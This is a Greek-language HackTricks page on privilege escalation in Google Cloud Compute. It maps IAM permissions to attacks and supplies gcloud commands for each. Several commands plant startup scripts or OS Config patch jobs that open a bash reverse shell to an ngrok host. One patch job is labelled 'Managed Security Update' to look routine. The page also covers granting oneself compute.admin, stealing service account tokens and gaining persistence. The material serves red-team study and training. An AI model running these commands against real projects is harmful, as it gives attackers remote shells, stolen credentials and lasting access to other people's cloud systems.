GCP - Compute Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Compute

Για περισσότερες πληροφορίες σχετικά με το Compute και το VPC (δίκτυο) στο GCP, ελέγξτε:

GCP - Compute Enum

Caution

Σημειώστε ότι για να εκτελέσετε όλες τις επιθέσεις ανύψωσης προνομίων που απαιτούν την τροποποίηση των μεταδεδομένων της παρουσίας (όπως η προσθήκη νέων χρηστών και SSH κλειδιών) είναι αναγκαίο να έχετε δικαιώματα actAs πάνω στο SA που είναι συνδεδεμένο με την παρουσία, ακόμη και αν το SA είναι ήδη συνδεδεμένο!

compute.projects.setCommonInstanceMetadata

Με αυτή την άδεια μπορείτε να τροποποιήσετε τις πληροφορίες μεταδεδομένων μιας παρουσίας και να αλλάξετε τα εξουσιοδοτημένα κλειδιά ενός χρήστη, ή να δημιουργήσετε έναν νέο χρήστη με δικαιώματα sudo. Επομένως, θα μπορείτε να εκτελέσετε μέσω SSH σε οποιαδήποτε VM παρουσία και να κλέψετε τον GCP Service Account με τον οποίο εκτελείται η παρουσία.
Περιορισμοί:

  • Σημειώστε ότι οι GCP Service Accounts που εκτελούνται σε VM παρουσίες από προεπιλογή έχουν πολύ περιορισμένο πεδίο
  • Θα χρειαστεί να είστε σε θέση να επικοινωνήσετε με τον SSH διακομιστή για να συνδεθείτε

Για περισσότερες πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτή την άδεια, ελέγξτε:

GCP - Add Custom SSH Metadata

Μπορείτε επίσης να εκτελέσετε αυτή την επίθεση προσθέτοντας νέο startup-script και επανεκκινώντας την παρουσία:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Αυτή η άδεια δίνει τις ίδιες προνόμιες με την προηγούμενη άδεια αλλά σε συγκεκριμένες περιπτώσεις αντί για ολόκληρο το έργο. Οι ίδιες εκμεταλλεύσεις και περιορισμοί όπως στην προηγούμενη ενότητα ισχύουν.

compute.instances.setIamPolicy

Αυτού του είδους η άδεια θα σας επιτρέψει να παραχωρήσετε στον εαυτό σας έναν ρόλο με τις προηγούμενες άδειες και να κλιμακώσετε τα προνόμια εκμεταλλευόμενοι αυτές. Ακολουθεί ένα παράδειγμα προσθήκης roles/compute.admin σε έναν Λογαριασμό Υπηρεσίας:

export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE

compute.instances.osLogin

Αν το OSLogin είναι ενεργοποιημένο στην περίπτωση, με αυτή την άδεια μπορείτε απλά να εκτελέσετε gcloud compute ssh [INSTANCE] και να συνδεθείτε στην περίπτωση. Δεν θα έχετε δικαιώματα root μέσα στην περίπτωση.

Tip

Για να συνδεθείτε επιτυχώς με αυτή την άδεια μέσα στην VM περίπτωση, πρέπει να έχετε την άδεια iam.serviceAccounts.actAs πάνω στο SA που είναι συνημμένο στη VM.

compute.instances.osAdminLogin

Αν το OSLogin είναι ενεργοποιημένο στην περίπτωση, με αυτή την άδεια μπορείτε απλά να εκτελέσετε gcloud compute ssh [INSTANCE] και να συνδεθείτε στην περίπτωση. Θα έχετε δικαιώματα root μέσα στην περίπτωση.

Tip

Για να συνδεθείτε επιτυχώς με αυτή την άδεια μέσα στην VM περίπτωση, πρέπει να έχετε την άδεια iam.serviceAccounts.actAs πάνω στο SA που είναι συνημμένο στη VM.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

Είναι δυνατόν να δημιουργήσετε μια εικονική μηχανή με έναν ανατεθειμένο Λογαριασμό Υπηρεσίας και να κλέψετε το token του λογαριασμού υπηρεσίας αποκτώντας πρόσβαση στα μεταδεδομένα για να κλιμακώσετε τα δικαιώματα σε αυτόν.

Το exploit script για αυτή τη μέθοδο μπορεί να βρεθεί εδώ.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Αν έχετε τις άδειες osconfig.patchDeployments.create ή osconfig.patchJobs.exec μπορείτε να δημιουργήσετε μια εργασία patch ή ανάπτυξη. Αυτό θα σας επιτρέψει να κινηθείτε οριζόντια στο περιβάλλον και να αποκτήσετε εκτέλεση κώδικα σε όλες τις υπολογιστικές περιπτώσεις εντός ενός έργου.

Σημειώστε ότι αυτή τη στιγμή δεν χρειάζεστε άδεια actAs πάνω στο SA που είναι συνημμένο στην περίπτωση.

Αν θέλετε να εκμεταλλευτείτε αυτό χειροκίνητα, θα χρειαστεί να δημιουργήσετε είτε μια εργασία patch ή ανάπτυξη.
Για μια εργασία patch εκτελέστε:

cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

Για να αναπτύξετε μια ανάπτυξη διορθώσεων:

gcloud compute os-config patch-deployments create <name> ...

Το εργαλείο patchy θα μπορούσε να έχει χρησιμοποιηθεί στο παρελθόν για την εκμετάλλευση αυτής της κακής ρύθμισης (αλλά τώρα δεν λειτουργεί).

Ένας επιτιθέμενος θα μπορούσε επίσης να το εκμεταλλευτεί για επιμονή.

compute.machineImages.setIamPolicy

Δώστε στον εαυτό σας επιπλέον δικαιώματα για την εικόνα υπολογιστή.

compute.snapshots.setIamPolicy

Δώστε στον εαυτό σας επιπλέον δικαιώματα για ένα στιγμιότυπο δίσκου.

compute.disks.setIamPolicy

Δώστε στον εαυτό σας επιπλέον δικαιώματα για έναν δίσκο.

Παράκαμψη Πεδίων Πρόσβασης

Ακολουθώντας αυτόν τον σύνδεσμο θα βρείτε μερικές ιδέες για να προσπαθήσετε να παρακάμψετε τα πεδία πρόσβασης.

Τοπική Κλιμάκωση Δικαιωμάτων σε GCP Compute instance

GCP - local privilege escalation ssh pivoting

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks